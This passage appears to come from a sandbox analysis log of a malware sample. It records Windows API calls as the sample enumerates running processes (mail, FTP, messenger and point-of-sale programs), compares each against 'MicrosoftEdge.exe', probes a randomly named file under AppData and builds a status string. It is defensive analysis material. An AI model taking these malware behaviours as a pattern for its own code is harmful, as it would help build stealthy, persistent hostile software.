th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0309.946] StrCmpIW (psz1="notepad.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.946] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0309.947] StrCmpIW (psz1="operamail.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.947] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0309.948] StrCmpIW (psz1="outlook.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.948] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0309.949] StrCmpIW (psz1="pidgin.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.949] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0309.954] StrCmpIW (psz1="scriptftp.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.954] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0309.955] StrCmpIW (psz1="skype.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.955] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0309.956] StrCmpIW (psz1="smartftp.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.956] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0309.957] StrCmpIW (psz1="thunderbird.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.957] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0309.957] StrCmpIW (psz1="totalcmd.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.958] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0309.958] StrCmpIW (psz1="trillian.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.958] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0309.959] StrCmpIW (psz1="webdrive.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.959] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0309.960] StrCmpIW (psz1="whatsapp.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.960] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0309.961] StrCmpIW (psz1="winscp.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.961] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0309.962] StrCmpIW (psz1="yahoomessenger.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.962] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0309.963] StrCmpIW (psz1="active-charge.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.963] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0309.964] StrCmpIW (psz1="accupos.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.964] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0309.967] StrCmpIW (psz1="afr38.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.967] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0309.968] StrCmpIW (psz1="aldelo.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.968] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0309.969] StrCmpIW (psz1="ccv_server.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.969] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0309.969] StrCmpIW (psz1="centralcreditcard.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.969] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0309.970] StrCmpIW (psz1="creditservice.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.970] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0309.971] StrCmpIW (psz1="edcsvr.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.972] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0309.972] StrCmpIW (psz1="fpos.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.972] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0309.973] StrCmpIW (psz1="isspos.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.973] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0309.974] StrCmpIW (psz1="mxslipstream.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.974] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0309.975] StrCmpIW (psz1="omnipos.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.975] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0309.976] StrCmpIW (psz1="spcwin.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.976] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0309.976] StrCmpIW (psz1="spgagentservice.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.977] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0309.977] StrCmpIW (psz1="utg2.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.977] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nv-ambien-sharp.exe")) returned 1 [0309.978] StrCmpIW (psz1="nv-ambien-sharp.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.978] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lancaster.exe")) returned 1 [0309.979] StrCmpIW (psz1="lancaster.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.979] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="eos-says.exe")) returned 1 [0309.980] StrCmpIW (psz1="eos-says.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.980] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0310.083] StrCmpIW (psz1="WmiPrvSE.exe", psz2="MicrosoftEdge.exe") returned 1 [0310.083] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.084] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0310.084] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0310.085] StrCmpIW (psz1="sppsvc.exe", psz2="MicrosoftEdge.exe") returned 1 [0310.085] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0310.086] StrCmpIW (psz1="TrustedInstaller.exe", psz2="MicrosoftEdge.exe") returned 1 [0310.086] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0310.087] StrCmpIW (psz1="ShellExperienceHost.exe", psz2="MicrosoftEdge.exe") returned 1 [0310.087] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0310.087] StrCmpIW (psz1="WmiPrvSE.exe", psz2="MicrosoftEdge.exe") returned 1 [0310.088] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0310.088] StrCmpIW (psz1="WMIADAP.exe", psz2="MicrosoftEdge.exe") returned 1 [0310.088] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SppExtComObj.Exe")) returned 1 [0310.089] StrCmpIW (psz1="SppExtComObj.Exe", psz2="MicrosoftEdge.exe") returned 1 [0310.089] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1348, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0310.092] StrCmpIW (psz1="explorer.exe", psz2="MicrosoftEdge.exe") returned -1 [0310.092] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1348, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 0 [0310.093] CloseHandle (hObject=0x344) returned 1 [0310.093] lstrlenA (lpString="M") returned 1 [0310.093] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0310.093] lstrlenA (lpString="xafpqko") returned 7 [0310.093] lstrlenA (lpString="user32.dll") returned 10 [0310.093] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenA (lpString="user32.dll") returned 10 [0310.094] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned 52 [0310.094] lstrlenW (lpString="\\") returned 1 [0310.094] lstrlenW (lpString="chcwbgvooi.jzc") returned 14 [0310.094] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x88) returned 0x47e8840 [0310.094] lstrcatW (in: lpString1="", lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" [0310.094] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\" [0310.095] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\", lpString2="chcwbgvooi.jzc" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\chcwbgvooi.jzc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\chcwbgvooi.jzc" [0310.095] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x448) returned 0x47e8aa0 [0310.095] lstrcpynW (in: lpString1=0x47e8aa0, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\chcwbgvooi.jzc", iMaxLength=512 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\chcwbgvooi.jzc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\chcwbgvooi.jzc" [0310.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\chcwbgvooi.jzc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\chcwbgvooi.jzc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0310.095] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8aa0 | out: hHeap=0x47e0000) returned 1 [0310.095] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\chcwbgvooi.jzc") returned 67 [0310.095] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8840 | out: hHeap=0x47e0000) returned 1 [0310.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bbf708 | out: lpSystemTimeAsFileTime=0x2bbf708*(dwLowDateTime=0x109b2583, dwHighDateTime=0x1d6747e)) [0310.095] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0310.095] ReleaseMutex (hMutex=0x358) returned 1 [0310.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bbf6b0 | out: lpSystemTimeAsFileTime=0x2bbf6b0*(dwLowDateTime=0x109b2583, dwHighDateTime=0x1d6747e)) [0310.095] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0310.096] ReleaseMutex (hMutex=0x358) returned 1 [0310.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bbf6b0 | out: lpSystemTimeAsFileTime=0x2bbf6b0*(dwLowDateTime=0x109b2583, dwHighDateTime=0x1d6747e)) [0310.096] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0310.096] ReleaseMutex (hMutex=0x358) returned 1 [0310.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bbf6b0 | out: lpSystemTimeAsFileTime=0x2bbf6b0*(dwLowDateTime=0x109b2583, dwHighDateTime=0x1d6747e)) [0310.096] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0310.096] ReleaseMutex (hMutex=0x358) returned 1 [0310.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bbf6b0 | out: lpSystemTimeAsFileTime=0x2bbf6b0*(dwLowDateTime=0x109b2583, dwHighDateTime=0x1d6747e)) [0310.096] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x7530) returned 0x0 [0310.096] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x0) returned 0x102 [0310.096] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x102 [0310.096] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485fbb8 [0310.096] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName=0x0) returned 0x344 [0310.097] GetLastError () returned 0x0 [0310.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2ac5198, lpParameter=0x47e7360, dwCreationFlags=0x0, lpThreadId=0x47e7364 | out: lpThreadId=0x47e7364*=0x10c0) returned 0x388 [0310.103] SetThreadPriority (hThread=0x388, nPriority=-1) returned 1 [0310.103] ReleaseMutex (hMutex=0x344) returned 1 [0310.103] ReleaseMutex (hMutex=0x354) returned 1 [0310.105] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0310.105] ReleaseMutex (hMutex=0x358) returned 1 [0310.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bbf6b0 | out: lpSystemTimeAsFileTime=0x2bbf6b0*(dwLowDateTime=0x109b2583, dwHighDateTime=0x1d6747e)) [0310.105] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x2bc) returned 0x47e8aa0 [0310.105] _vsnprintf (in: _DstBuf=0x47e8aa0, _MaxCount=0x2bc, _Format="%u;%u;%u", _ArgList=0x2bbf6cc | out: _DstBuf="10;8;0") returned 6 [0310.105] lstrcatA (in: lpString1="10;8;0", lpString2="|" | out: lpString1="10;8;0|") returned="10;8;0|" [0310.106] _vsnprintf (in: _DstBuf=0x47e8aa7, _MaxCount=0x2b5, _Format="%u;%u;%u", _ArgList=0x2bbf6cc | out: _DstBuf="5;1;0") returned 5 [0310.106] lstrcatA (in: lpString1="10;8;0|5;1;0", lpString2="|" | out: lpString1="10;8;0|5;1;0|") returned="10;8;0|5;1;0|" [0310.106] _vsnprintf (in: _DstBuf=0x47e8aad, _MaxCount=0x2af, _Format="%u;%u;%u", _ArgList=0x2bbf6cc | out: _DstBuf="4294967295;23;1597658784") returned 24 [0310.106] lstrcatA (in: lpString1="10;8;0|5;1;0|4294967295;23;1597658784", lpString2="|" | out: lpString1="10;8;0|5;1;0|4294967295;23;1597658784|") returned="10;8;0|5;1;0|4294967295;23;1597658784|" [0310.106] _vsnprintf (in: _DstBuf=0x47e8ac6, _MaxCount=0x296, _Format="%u;%u;%u", _ArgList=0x2bbf6cc | out: _DstBuf="300;13;0") returned 8 [0310.106] lstrcatA (in: lpString1="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0", lpString2="|" | out: lpString1="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|") returned="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|" [0310.106] _vsnprintf (in: _DstBuf=0x47e8acf, _MaxCount=0x28d, _Format="%u;%u;%u", _ArgList=0x2bbf6cc | out: _DstBuf="2736;3;0") returned 8 [0310.106] lstrcatA (in: lpString1="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|2736;3;0", lpString2="|" | out: lpString1="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|2736;3;0|") returned="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|2736;3;0|" [0310.106] _vsnprintf (in: _DstBuf=0x47e8ad8, _MaxCount=0x284, _Format="%u;%u;%u", _ArgList=0x2bbf6cc | out: _DstBuf="3;21;1597658784") returned 15 [0310.106] lstrcatA (in: lpString1="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|2736;3;0|3;21;1597658784", lpString2="|" | out: lpString1="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|2736;3;0|3;21;1597658784|") returned="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|2736;3;0|3;21;1597658784|" [0310.106] _vsnprintf (in: _DstBuf=0x47e8ae8, _MaxCount=0x274, _Format="%u;%u;%u", _ArgList=0x2bbf6cc | out: _DstBuf="4294967295;12;0") returned 15 [0310.106] lstrlenA (lpString="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|2736;3;0|3;21;1597658784|4294967295;12;0") returned 87 [0310.106] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0310.106] lstrlenA (lpString="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|2736;3;0|3;21;1597658784|4294967295;12;0") returned 87 [0310.107] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x59) returned 0x47e8840 [0310.107] ReleaseMutex (hMutex=0x358) returned 1 [0310.107] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, 